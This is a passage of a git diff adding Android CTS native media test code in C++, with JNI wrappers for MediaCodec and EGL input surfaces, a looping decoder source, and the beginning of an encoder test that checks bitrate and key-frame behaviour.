+         return reinterpret_cast<jlong>(nativeWindow);
+     }
+
+     return 0;
+
+}
+
+extern "C" jlong Java_android_media_cts_NdkMediaCodec_AMediaCodecCreatePersistentInputSurface(
+        JNIEnv* /*env*/, jclass /*clazz*/) {
+
+    ANativeWindow *nativeWindow;
+    media_status_t err = AMediaCodec_createPersistentInputSurface(&nativeWindow);
+
+     if (err == AMEDIA_OK) {
+         return reinterpret_cast<jlong>(nativeWindow);
+     }
+
+     return 0;
+
+}
+
+extern "C" jstring Java_android_media_cts_NdkMediaCodec_AMediaCodecGetOutputFormatString(
+        JNIEnv* env, jclass /*clazz*/, jlong codec) {
+
+    AMediaFormat *format = AMediaCodec_getOutputFormat(reinterpret_cast<AMediaCodec *>(codec));
+    const char *str = AMediaFormat_toString(format);
+    jstring jstr = env->NewStringUTF(str);
+    AMediaFormat_delete(format);
+    return jstr;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSignalEndOfInputStream(
+        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec) {
+
+    media_status_t err = AMediaCodec_signalEndOfInputStream(reinterpret_cast<AMediaCodec *>(codec));
+    return err == AMEDIA_OK;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecReleaseOutputBuffer(
+        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec, jint index, jboolean render) {
+
+    media_status_t err = AMediaCodec_releaseOutputBuffer(
+            reinterpret_cast<AMediaCodec *>(codec),
+            index,
+            render);
+
+    return err == AMEDIA_OK;
+
+}
+
+static jobject AMediaCodecGetBuffer(
+        JNIEnv* env,
+        jlong codec,
+        jint index,
+        uint8_t *(*getBuffer)(AMediaCodec*, size_t, size_t*)) {
+
+    size_t bufsize;
+    uint8_t *buf = getBuffer(
+            reinterpret_cast<AMediaCodec *>(codec),
+            index,
+            &bufsize);
+
+    return env->NewDirectByteBuffer(buf, bufsize);
+
+}
+
+extern "C" jobject Java_android_media_cts_NdkMediaCodec_AMediaCodecGetOutputBuffer(
+        JNIEnv* env, jclass /*clazz*/, jlong codec, jint index) {
+
+    return AMediaCodecGetBuffer(env, codec, index, AMediaCodec_getOutputBuffer);
+
+}
+
+extern "C" jlongArray Java_android_media_cts_NdkMediaCodec_AMediaCodecDequeueOutputBuffer(
+        JNIEnv* env, jclass /*clazz*/, jlong codec, jlong timeoutUs) {
+
+    AMediaCodecBufferInfo info;
+    memset(&info, 0, sizeof(info));
+    int status = AMediaCodec_dequeueOutputBuffer(
+        reinterpret_cast<AMediaCodec *>(codec),
+        &info,
+        timeoutUs);
+
+    jlong ret[5] = {0};
+    ret[0] = status;
+    ret[1] = 0; // NdkMediaCodec calls ABuffer::data, which already adds offset
+    ret[2] = info.size;
+    ret[3] = info.presentationTimeUs;
+    ret[4] = info.flags;
+
+    jlongArray jret = env->NewLongArray(5);
+    env->SetLongArrayRegion(jret, 0, 5, ret);
+    return jret;
+
+}
+
+extern "C" jobject Java_android_media_cts_NdkMediaCodec_AMediaCodecGetInputBuffer(
+        JNIEnv* env, jclass /*clazz*/, jlong codec, jint index) {
+
+    return AMediaCodecGetBuffer(env, codec, index, AMediaCodec_getInputBuffer);
+
+}
+
+extern "C" jint Java_android_media_cts_NdkMediaCodec_AMediaCodecDequeueInputBuffer(
+        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec, jlong timeoutUs) {
+
+    return AMediaCodec_dequeueInputBuffer(
+            reinterpret_cast<AMediaCodec *>(codec),
+            timeoutUs);
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecQueueInputBuffer(
+        JNIEnv* /*env*/,
+        jclass /*clazz*/,
+        jlong codec,
+        jint index,
+        jint offset,
+        jint size,
+        jlong presentationTimeUs,
+        jint flags) {
+
+    media_status_t err = AMediaCodec_queueInputBuffer(
+            reinterpret_cast<AMediaCodec *>(codec),
+            index,
+            offset,
+            size,
+            presentationTimeUs,
+            flags);
+
+    return err == AMEDIA_OK;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSetParameter(
+        JNIEnv* env, jclass /*clazz*/, jlong codec, jstring jkey, jint value) {
+
+    AMediaFormat* params = AMediaFormat_new();
+    if (params == NULL) {
+        return false;
+    }
+
+    const char *key = env->GetStringUTFChars(jkey, NULL);
+    if (key == NULL) {
+        AMediaFormat_delete(params);
+        return false;
+    }
+
+    AMediaFormat_setInt32(params, key, value);
+    media_status_t err = AMediaCodec_setParameters(
+            reinterpret_cast<AMediaCodec *>(codec),
+            params);
+    env->ReleaseStringUTFChars(jkey, key);
+    AMediaFormat_delete(params);
+    return err == AMEDIA_OK;
+
+}
+
+// === NdkInputSurface
+
+extern "C" jlong Java_android_media_cts_NdkInputSurface_eglGetDisplay(JNIEnv * /*env*/, jclass /*clazz*/) {
+
+    EGLDisplay eglDisplay = eglGetDisplay(EGL_DEFAULT_DISPLAY);
+    if (eglDisplay == EGL_NO_DISPLAY) {
+        return 0;
+    }
+
+    EGLint major, minor;
+    if (!eglInitialize(eglDisplay, &major, &minor)) {
+        return 0;
+    }
+
+    return reinterpret_cast<jlong>(eglDisplay);
+
+}
+
+extern "C" jlong Java_android_media_cts_NdkInputSurface_eglChooseConfig(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay) {
+
+    // Configure EGL for recordable and OpenGL ES 2.0.  We want enough RGB bits
+    // to minimize artifacts from possible YUV conversion.
+    EGLint attribList[] = {
+            EGL_RED_SIZE, 8,
+            EGL_GREEN_SIZE, 8,
+            EGL_BLUE_SIZE, 8,
+            EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
+            EGL_RECORDABLE_ANDROID, 1,
+            EGL_NONE
+    };
+
+    EGLConfig configs[1];
+    EGLint numConfigs[1];
+    if (!eglChooseConfig(reinterpret_cast<EGLDisplay>(eglDisplay), attribList, configs, 1, numConfigs)) {
+        return 0;
+    }
+    return reinterpret_cast<jlong>(configs[0]);
+
+}
+
+extern "C" jlong Java_android_media_cts_NdkInputSurface_eglCreateContext(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglConfig) {
+
+    // Configure context for OpenGL ES 2.0.
+    int attrib_list[] = {
+            EGL_CONTEXT_CLIENT_VERSION, 2,
+            EGL_NONE
+    };
+
+    EGLConfig eglContext = eglCreateContext(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLConfig>(eglConfig),
+            EGL_NO_CONTEXT,
+            attrib_list);
+
+    if (eglGetError() != EGL_SUCCESS) {
+        return 0;
+    }
+
+    return reinterpret_cast<jlong>(eglContext);
+
+}
+
+extern "C" jlong Java_android_media_cts_NdkInputSurface_createEGLSurface(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglConfig, jlong nativeWindow) {
+
+    int surfaceAttribs[] = {EGL_NONE};
+    EGLSurface eglSurface = eglCreateWindowSurface(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLConfig>(eglConfig),
+            reinterpret_cast<EGLNativeWindowType>(nativeWindow),
+            surfaceAttribs);
+
+    if (eglGetError() != EGL_SUCCESS) {
+        return 0;
+    }
+
+    return reinterpret_cast<jlong>(eglSurface);
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglMakeCurrent(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface, jlong eglContext) {
+
+    return eglMakeCurrent(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface),
+            reinterpret_cast<EGLSurface>(eglSurface),
+            reinterpret_cast<EGLContext>(eglContext));
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglSwapBuffers(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
+
+    return eglSwapBuffers(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface));
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglPresentationTimeANDROID(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface, jlong nsecs) {
+
+    return eglPresentationTimeANDROID(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface),
+            reinterpret_cast<EGLnsecsANDROID>(nsecs));
+
+}
+
+extern "C" jint Java_android_media_cts_NdkInputSurface_eglGetWidth(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
+
+    EGLint width;
+    eglQuerySurface(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface),
+            EGL_WIDTH,
+            &width);
+
+    return width;
+
+}
+
+extern "C" jint Java_android_media_cts_NdkInputSurface_eglGetHeight(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
+
+    EGLint height;
+    eglQuerySurface(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface),
+            EGL_HEIGHT,
+            &height);
+
+    return height;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglDestroySurface(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
+
+    return eglDestroySurface(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface));
+
+}
+
+extern "C" void Java_android_media_cts_NdkInputSurface_nativeRelease(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface, jlong eglContext, jlong nativeWindow) {
+
+    if (eglDisplay != 0) {
+
+        EGLDisplay _eglDisplay = reinterpret_cast<EGLDisplay>(eglDisplay);
+        EGLSurface _eglSurface = reinterpret_cast<EGLSurface>(eglSurface);
+        EGLContext _eglContext = reinterpret_cast<EGLContext>(eglContext);
+
+        eglDestroySurface(_eglDisplay, _eglSurface);
+        eglDestroyContext(_eglDisplay, _eglContext);
+        eglReleaseThread();
+        eglTerminate(_eglDisplay);
+
+    }
+
+    ANativeWindow_release(reinterpret_cast<ANativeWindow *>(nativeWindow));
+
+}
diff --git a/tests/tests/media/libmediandkjni/native_media_decoder_source.cpp b/tests/tests/media/libmediandkjni/native_media_decoder_source.cpp
new file mode 100644
index 0000000..040e78b
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/native_media_decoder_source.cpp
@@ -0,0 +1,266 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "NativeMediaEnc-Source"
+#include <log/log.h>
+
+#include "native_media_source.h"
+
+using namespace Utils;
+
+class DecoderSource : public Thread, public Source {
+public:
+    DecoderSource(
+        int32_t w, int32_t h, int32_t colorFormat, float fps, bool looping, bool regulate);
+    ~DecoderSource();
+    DecoderSource(const DecoderSource& ) = delete;
+
+    Status setDataSourceFd(int sourceFileFd, off64_t sourceFileOffset, off64_t sourceFileSize);
+    Status prepare(std::shared_ptr<Listener> l, std::shared_ptr<ANativeWindow> n) override;
+    Status start() override;
+    Status stop() override;
+
+protected:
+    void run() override;
+
+private:
+    // seek the extractor back to beginning
+    void rewindExtractor();
+
+    // When setting dynamic params, if the source is faster than the encoder,
+    // there is a possibility of param set via setParameters() will get delayed.
+    // Simulate a real-time source by slowing down the feeding rate (up to configured fps)
+    bool mRegulateFramerate;
+
+    std::shared_ptr<AMediaExtractor> mEx;
+    std::shared_ptr<AMediaCodec> mDec;
+    std::shared_ptr<AMediaFormat> mFormat;
+    std::string mMime;
+    int mVideoTrackIndex;
+    int mFrameCount;
+    bool mStopRequest;
+    bool mStarted;
+};
+
+std::shared_ptr<Source> createDecoderSource(
+        int32_t w, int32_t h, int32_t colorFormat, float fps, bool looping,
+        bool regulateFeedingRate, /* WA for dynamic settings */
+        int sourceFileFd, off64_t sourceFileOffset, off64_t sourceFileSize) {
+    DecoderSource *d = new DecoderSource(w, h, colorFormat, fps, looping, regulateFeedingRate);
+    d->setDataSourceFd(sourceFileFd, sourceFileOffset, sourceFileSize);
+    std::shared_ptr<Source> src(d);
+    return src;
+}
+
+DecoderSource::DecoderSource(
+        int32_t w, int32_t h, int32_t colorFormat, float fps, bool looping, bool regulate)
+    : Source(w, h, colorFormat, fps, looping),
+      mRegulateFramerate(regulate),
+      mEx(nullptr),
+      mDec(nullptr),
+      mFormat(nullptr),
+      mMime(""),
+      mVideoTrackIndex(-1),
+      mFrameCount(0),
+      mStopRequest(false),
+      mStarted(false) {
+}
+
+Status DecoderSource::setDataSourceFd(
+        int sourceFileFd, off64_t sourceFileOffset, off64_t sourceFileSize) {
+
+    mEx = std::shared_ptr<AMediaExtractor>(AMediaExtractor_new(), deleter_AMediExtractor);
+    int err = AMediaExtractor_setDataSourceFd(mEx.get(), sourceFileFd, sourceFileOffset, sourceFileSize);
+    if (err != 0) {
+        ALOGE("setDataSource error: %d", err);
+        return FAIL;
+    }
+
+    const char *mime;
+    mVideoTrackIndex = -1;
+    int numtracks = AMediaExtractor_getTrackCount(mEx.get());
+    for (int i = 0; i < numtracks; i++) {
+        AMediaFormat *format = AMediaExtractor_getTrackFormat(mEx.get(), i);
+        const char *s = AMediaFormat_toString(format);
+        ALOGV("track %d format: %s", i, s);
+        if (!AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &mime)) {
+            ALOGE("no mime type");
+            mEx = nullptr;
+            AMediaFormat_delete(format);
+            return FAIL;
+        } else if (!strncmp(mime, "video/", 6)) {
+            mVideoTrackIndex = i;
+            mFormat = std::shared_ptr<AMediaFormat>(format, deleter_AMediaFormat);
+            mMime = mime;
+            break;
+        } else {
+            ALOGE("expected video mime type, got %s", mime);
+            mEx = nullptr;
+        }
+        AMediaFormat_delete(format);
+    }
+    return mVideoTrackIndex == -1 ? FAIL : OK;
+}
+
+DecoderSource::~DecoderSource() {
+    mDec = nullptr;
+    mEx = nullptr;
+    mFormat = nullptr;
+}
+
+void DecoderSource::run() {
+    while(!mStopRequest) {
+        int t = AMediaExtractor_getSampleTrackIndex(mEx.get());
+        if (t < 0) {
+            if (mLooping) {
+                rewindExtractor();
+                continue;
+            } else {
+                ALOGV("no more samples");
+                break;
+            }
+        } else if (t != mVideoTrackIndex) {
+            continue;
+        }
+
+        ssize_t bufidx = AMediaCodec_dequeueInputBuffer(mDec.get(), 5000);
+        if (bufidx >= 0) {
+            size_t bufsize;
+            uint8_t *buf = AMediaCodec_getInputBuffer(mDec.get(), bufidx, &bufsize);
+            int sampleSize = AMediaExtractor_readSampleData(mEx.get(), buf, bufsize);
+            int32_t flags = 0;
+            if (sampleSize < 0) {
+                if (mLooping) {
+                    rewindExtractor();
+                    continue;
+                } else {
+                    flags = AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM;
+                }
+            }
+            // synthesize timestamps based on required fps
+            int64_t timeStampUs = 1e6 / mFps * mFrameCount;
+            AMediaCodec_queueInputBuffer(mDec.get(), bufidx, 0, sampleSize, timeStampUs, flags);
+
+            AMediaExtractor_advance(mEx.get());
+            ++mFrameCount;
+        }
+
+        AMediaCodecBufferInfo info;
+        int status = AMediaCodec_dequeueOutputBuffer(mDec.get(), &info, 1000);
+        if (status >= 0) {
+            ALOGV("got decoded buffer of size=%d @%lld us",
+                    info.size, (long long)info.presentationTimeUs);
+            bool render = info.size > 0;
+            if (mBufListener != nullptr) {
+                //TBD
+                //mBufListener->onBufferAvailable(..);
+            }
+
+            // WA: if decoder runs free, dynamic settings applied by
+            //     MediaCodec.setParameters() are off
+            if (mRegulateFramerate) {
+                usleep(1e6/mFps);
+            }
+
+            AMediaCodec_releaseOutputBuffer(mDec.get(), status, render);
+
+            if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+                ALOGV("saw EOS");
+                break;
+            }
+
+        } else if (status == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+        } else if (status == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+            mFormat = std::shared_ptr<AMediaFormat>(
+                    AMediaCodec_getOutputFormat(mDec.get()), deleter_AMediaFormat);
+            ALOGV("format changed: %s", AMediaFormat_toString(mFormat.get()));
+        } else if (status == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+        } else {
+            ALOGV("Invalid status : %d", status);
+        }
+    }
+}
+
+Status DecoderSource::prepare(
+        std::shared_ptr<Listener> l, std::shared_ptr<ANativeWindow> n) {
+
+    mBufListener = l;
+    mSurface = n;
+
+    if (mVideoTrackIndex < 0) {
+        ALOGE("Video track not found !");
+        return FAIL;
+    }
+
+    assert(mEx.get() != nullptr);
+    AMediaExtractor_selectTrack(mEx.get(), mVideoTrackIndex);
+
+    AMediaCodec *dec = AMediaCodec_createDecoderByType(mMime.c_str());
+    mDec = std::shared_ptr<AMediaCodec>(dec, deleter_AMediaCodec);
+
+    ALOGI("configure decoder. surface = %p", mSurface.get());
+    media_status_t status = AMediaCodec_configure(
+            mDec.get(), mFormat.get(), mSurface.get(), NULL /* crypto */, 0);
+    if (status != AMEDIA_OK) {
+        ALOGE("failed to configure decoder");
+        return FAIL;
+    }
+    return OK;
+}
+
+Status DecoderSource::start() {
+    ALOGV("start");
+    media_status_t status = AMediaCodec_start(mDec.get());
+    if (status != AMEDIA_OK) {
+        ALOGE("failed to start decoder");
+        return FAIL;
+    }
+    if (startThread() != OK) {
+        return FAIL;
+    }
+    mStarted = true;
+    return OK;
+}
+
+Status DecoderSource::stop() {
+    if (!mStarted) {
+        return FAIL;
+    }
+
+    ALOGV("Stopping decoder source..");
+    mStopRequest = true;
+    joinThread();
+
+    media_status_t status = AMediaCodec_stop(mDec.get());
+    if (status != AMEDIA_OK) {
+        ALOGE("failed to stop decoder");
+    }
+
+    mDec = nullptr;
+    mEx = nullptr;
+    mFormat = nullptr;
+    return OK;
+}
+
+void DecoderSource::rewindExtractor() {
+    assert(mEx.get() != nullptr);
+    media_status_t status = AMediaExtractor_seekTo(mEx.get(), 0, AMEDIAEXTRACTOR_SEEK_CLOSEST_SYNC);
+    if (status != AMEDIA_OK) {
+        ALOGE("failed to seek Extractor to 0");
+    }
+}
+
diff --git a/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp b/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp
new file mode 100644
index 0000000..fd7ddc5
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp
@@ -0,0 +1,411 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "NativeMediaEnc"
+
+#include <stddef.h>
+#include <inttypes.h>
+#include <log/log.h>
+
+#include <assert.h>
+#include <jni.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+#include <semaphore.h>
+#include <list>
+#include <memory>
+#include <string>
+
+#include <android/native_window_jni.h>
+
+#include "media/NdkMediaFormat.h"
+#include "media/NdkMediaExtractor.h"
+#include "media/NdkMediaCodec.h"
+#include "media/NdkMediaCrypto.h"
+#include "media/NdkMediaFormat.h"
+#include "media/NdkMediaMuxer.h"
+
+#include "native_media_source.h"
+using namespace Utils;
+
+class NativeEncoder : Thread {
+public:
+
+    NativeEncoder(const std::string&);
+    NativeEncoder(const NativeEncoder&) = delete;
+    ~NativeEncoder();
+    static std::shared_ptr<ANativeWindow> getPersistentSurface();
+    std::shared_ptr<ANativeWindow> getSurface() const;
+
+    Status prepare(std::unique_ptr<RunConfig> config, std::shared_ptr<ANativeWindow> anw = nullptr);
+    Status start();
+    Status waitForCompletion();
+    Status validate();
+
+    Status reset();
+
+protected:
+    void run() override;
+
+private:
+    std::shared_ptr<AMediaCodec> mEnc;
+    std::shared_ptr<ANativeWindow> mLocalSurface; // the one created by createInputSurface()
+    std::string mOutFileName;
+    bool mStarted;
+
+    Stats mStats;
+    std::unique_ptr<RunConfig> mRunConfig;
+
+};
+
+NativeEncoder::NativeEncoder(const std::string& outFileName)
+    : mEnc(nullptr),
+      mLocalSurface(nullptr),
+      mOutFileName(outFileName),
+      mStarted(false) {
+    mRunConfig = nullptr;
+}
+
+NativeEncoder::~NativeEncoder() {
+    mEnc = nullptr;
+    mLocalSurface = nullptr;
+    mRunConfig = nullptr;
+}
+
+//static
+std::shared_ptr<ANativeWindow> NativeEncoder::getPersistentSurface() {
+    ANativeWindow *ps;
+    media_status_t ret = AMediaCodec_createPersistentInputSurface(&ps);
+    if (ret != AMEDIA_OK) {
+        ALOGE("Failed to create persistent surface !");
+        return nullptr;
+    }
+    ALOGI("Encoder: created persistent surface %p", ps);
+    return std::shared_ptr<ANativeWindow>(ps, deleter_ANativeWindow);
+}
+
+std::shared_ptr<ANativeWindow> NativeEncoder::getSurface() const {
+    return mLocalSurface;
+}
+
+Status NativeEncoder::prepare(
+        std::unique_ptr<RunConfig> runConfig, std::shared_ptr<ANativeWindow> surface) {
+    assert(runConfig != nullptr);
+    assert(runConfig->format() != nullptr);
+
+    ALOGI("NativeEncoder::prepare");
+    mRunConfig = std::move(runConfig);
+
+    AMediaFormat *config = mRunConfig->format();
+    ALOGI("Encoder format: %s", AMediaFormat_toString(config));
+
+    const char *mime;
+    AMediaFormat_getString(config, AMEDIAFORMAT_KEY_MIME, &mime);
+
+    AMediaCodec *enc = AMediaCodec_createEncoderByType(mime);
+    mEnc = std::shared_ptr<AMediaCodec>(enc, deleter_AMediaCodec);
+
+    media_status_t status = AMediaCodec_configure(
+            mEnc.get(), config, NULL, NULL /* crypto */, AMEDIACODEC_CONFIGURE_FLAG_ENCODE);
+    if (status != AMEDIA_OK) {
+        ALOGE("failed to configure encoder");
+        return FAIL;
+    }
+
+    if (surface == nullptr) {
+        ANativeWindow *anw;
+        status = AMediaCodec_createInputSurface(mEnc.get(), &anw);
+        mLocalSurface = std::shared_ptr<ANativeWindow>(anw, deleter_ANativeWindow);
+        ALOGI("created input surface = %p", mLocalSurface.get());
+    } else {
+        ALOGI("setting persistent input surface %p", surface.get());
+        status = AMediaCodec_setInputSurface(mEnc.get(), surface.get());
+    }
+
+    return status == AMEDIA_OK ? OK : FAIL;
+}
+
+Status NativeEncoder::start() {
+    ALOGI("starting encoder..");
+
+    media_status_t status = AMediaCodec_start(mEnc.get());
+    if (status != AMEDIA_OK) {
+        ALOGE("failed to start decoder");
+        return FAIL;
+    }
+    if (startThread() != OK) {
+        return FAIL;
+    }
+    mStarted = true;
+    return OK;
+}
+
+Status NativeEncoder::waitForCompletion() {
+    joinThread();
+    ALOGI("encoder done..");
+    return OK;
+}
+
+Status NativeEncoder::validate() {
+    const char *s = AMediaFormat_toString(mRunConfig->format());
+    ALOGI("RESULT: Encoder Output Format: %s", s);
+
+    {
+        int32_t encodedFrames = mStats.frameCount();
+        int32_t inputFrames = mRunConfig->frameCount();
+        ALOGI("RESULT: input frames = %d, Encoded frames = %d",
+                inputFrames, encodedFrames);
+        if (encodedFrames != inputFrames) {
+            ALOGE("RESULT: ERROR: output frame count does not match input");
+            return FAIL;
+        }
+    }
+
+    if (Validator::checkOverallBitrate(mStats, *mRunConfig) != OK) {
+        ALOGE("Overall bitrate check failed!");
+        return FAIL;
+    }
+    if (Validator::checkIntraPeriod(mStats, *mRunConfig) != OK) {
+        ALOGE("I-period check failed!");
+        return FAIL;
+    }
+    if (Validator::checkDynamicKeyFrames(mStats, *mRunConfig) != OK) {
+        ALOGE("Dynamic-I-frame-request check failed!");
+        return FAIL;
+    }
+    if (Validator::checkDynamicBitrate(mStats, *mRunConfig) != OK) {
+        ALOGE("Dynamic-bitrate-update check failed!");
+        return FAIL;
+    }
+
+    return OK;
+}
+
+Status NativeEncoder::reset() {
+
+    mEnc = nullptr;
+    return OK;
+}
+
+void NativeEncoder::run() {
+
+    assert(mRunConfig != nullptr);
+
+    int32_t framesToEncode = mRunConfig->frameCount();
+    auto dynamicParams = mRunConfig->dynamicParams();
+    auto paramItr = dynamicParams.begin();
+    int32_t nFrameCount = 0;
+
+    while (nFrameCount < framesToEncode) {
+
+        // apply frame-specific settings
+        for (;paramItr != dynamicParams.end()
+                && (*paramItr)->frameNum() <= nFrameCount; ++paramItr) {
+            DParamRef& p = *paramItr;
+            if (p->frameNum() == nFrameCount) {
+                assert(p->param() != nullptr);
+                const char *s = AMediaFormat_toString(p->param());
+                ALOGI("Encoder DynamicParam @frame[%d] - applying setting : %s",
+                        nFrameCount, s);
+                AMediaCodec_setParameters(mEnc.get(), p->param());
+            }
+        }
+
+        AMediaCodecBufferInfo info;
+        int status = AMediaCodec_dequeueOutputBuffer(mEnc.get(), &info, 5000);
+        if (status >= 0) {
+            ALOGV("got encoded buffer[%d] of size=%d @%lld us flags=%x",
+                    nFrameCount, info.size, (long long)info.presentationTimeUs, info.flags);
+            mStats.add(info);
+            AMediaCodec_releaseOutputBuffer(mEnc.get(), status, false);
+            ++nFrameCount;
+
+            if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+                ALOGV("saw EOS");
+                break;
+            }
+
+        } else if (status == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+        } else if (status == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+            std::shared_ptr<AMediaFormat> format = std::shared_ptr<AMediaFormat>(
+                    AMediaCodec_getOutputFormat(mEnc.get()), deleter_AMediaFormat);
+            mStats.setOutputFormat(format);
+            ALOGV("format changed: %s", AMediaFormat_toString(format.get()));
+        } else if (status == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+        } else {
+            ALOGV("Invalid status : %d", status);
+        }
+    }
+
+    ALOGV("Encoder exited !");
+    AMediaCodec_stop(mEnc.get());
+}
+
+static std::shared_ptr<AMediaFormat> createMediaFormat(
+        std::string mime,
+        int32_t w, int32_t h, int32_t colorFormat,
+        int32_t bitrate, float framerate,
+        int32_t i_interval) {
+
+    std::shared_ptr<AMediaFormat> config(AMediaFormat_new(), deleter_AMediaFormat);
+
+    AMediaFormat_setString(config.get(), AMEDIAFORMAT_KEY_MIME, mime.c_str());
+    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_WIDTH, w);
+    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_HEIGHT, h);
+    AMediaFormat_setFloat(config.get(), AMEDIAFORMAT_KEY_FRAME_RATE, framerate);
+    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_BIT_RATE, bitrate);
+    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_I_FRAME_INTERVAL, i_interval);
+    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_COLOR_FORMAT, colorFormat);
+
+    return config;
+}
+
+static int32_t getOptimalBitrate(int w, int h) {
+    return (w * h <= 640 * 480) ? 1000000 :
+            (w * h <= 1280 * 720) ? 2000000 :
+            (w * h <= 1920 * 1080) ? 6000000 :
+            10000000;
+}
+
+//-----------------------------------------------------------------------------
+// Tests
+//-----------------------------------------------------------------------------
+static bool runNativeEncoderTest(
+        JNIEnv *env, int fd, jlong offset, jlong fileSize,
+        jstring jmime, int w, int h,
+        const std::vector<DParamRef>& dynParams,
+        int32_t numFrames,
+        bool usePersistentSurface) {
+
+    // If dynamic I-frame is requested, set large-enough i-period
+    // so that auto I-frames do not interfere with the ones explicitly requested,
+    // and hence simplify validation.
+    bool hasDynamicSyncRequest = false;
+
+    // If dynamic bitrate updates are requested, set bitrate mode to CBR to
+    // ensure bitrate within 'window of two updates' remains constant
+    bool hasDynamicBitrateChanges = false;
+
+    for (const DParamRef &d : dynParams) {
+        int32_t temp;
+        if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, &temp)) {
+            hasDynamicSyncRequest = true;
+        } else if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &temp)) {
+            hasDynamicBitrateChanges = true;
+        }
+    }
+
+    const char* cmime = env->GetStringUTFChars(jmime, nullptr);
+    std::string mime = cmime;
+    env->ReleaseStringUTFChars(jmime, cmime);
+
+    float fps = 30.0f;
+    std::shared_ptr<AMediaFormat> config = createMediaFormat(
+            mime, w, h, kColorFormatSurface,
+            getOptimalBitrate(w, h),
+            fps,
+            hasDynamicSyncRequest ? numFrames / fps : 1 /*sec*/);
+
+    if (hasDynamicBitrateChanges) {
+        AMediaFormat_setInt32(config.get(), TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE, kBitrateModeConstant);
+    }
+
+    std::shared_ptr<Source> src = createDecoderSource(
+            w, h, kColorFormatSurface, fps,
+            true /*looping*/,
